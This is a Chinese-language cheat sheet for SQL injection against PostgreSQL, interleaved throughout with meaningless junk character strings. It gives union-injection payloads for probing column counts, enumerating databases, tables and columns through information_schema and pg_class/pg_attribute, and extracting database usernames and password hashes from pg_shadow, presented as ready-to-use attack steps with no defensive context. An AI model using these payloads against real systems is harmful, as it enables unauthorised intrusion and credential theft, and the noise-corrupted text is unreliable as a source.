结合了MSSQL MySQL Oracle的一些特点
1 |0 n6 l+ ^* m: X4 R支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/! i) J5 i/ U. M5 T
连接符: %20 , + , /**/ 内置函数:
5 r, v4 z+ s2 T* L' N% H9 \current_database() //当前数据库名6 | b' _: P/ w, m- h
session_user //会话用户
! Q1 f6 @& Y& h- w" [current_user //当前数据库用户& G$ s$ s! h8 q6 u0 |
user //当前用户
9 w5 Y* P5 a! c: _version() //数据库版本 Union注射:
' l5 m2 C. p q8 W. Xorder by n–2 {9 F! U8 y: D* }2 w, @
and 1=2 union select null,null,null–- z" `6 j- g# T$ k T& c
and 1=2 union select ‘beach’,null,null–. Z3 S+ l2 d% T% `' T0 Y, N6 P
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):7 U. j* ?: @/ J
group_concat(table_name)
7 R' g9 n- o: H/ D# wand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–6 |$ C2 p) K0 x+ ]0 a
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–+ s8 C+ C( e4 a
(老版本)$ ]- @4 ^# I6 a9 c- ^% Z
pg_class.oid对应pg_attribute.attrelid8 |+ ^) `# d+ c+ g/ u+ T+ _
pg_class.relname表名1 W4 a7 M4 z, F6 c r% k- }
pg_attribute.attname字段名 select relname from pg_class获取表名
2 b/ r! ?4 P( w# ?3 g1 Xselect oid from pg_class where 条件 获取参数
S! Q# A8 o) Sselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
) s4 k& W; }( ~and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表" }' Z: z/ E. l- {3 F6 o
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
' l% d2 Q! E- B- v由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
, m) I$ [9 d* @======================================================================" f, u; M$ v! w* K& A, V
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库3 O. j/ _' K) C# o% s/ j2 s5 j( [
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |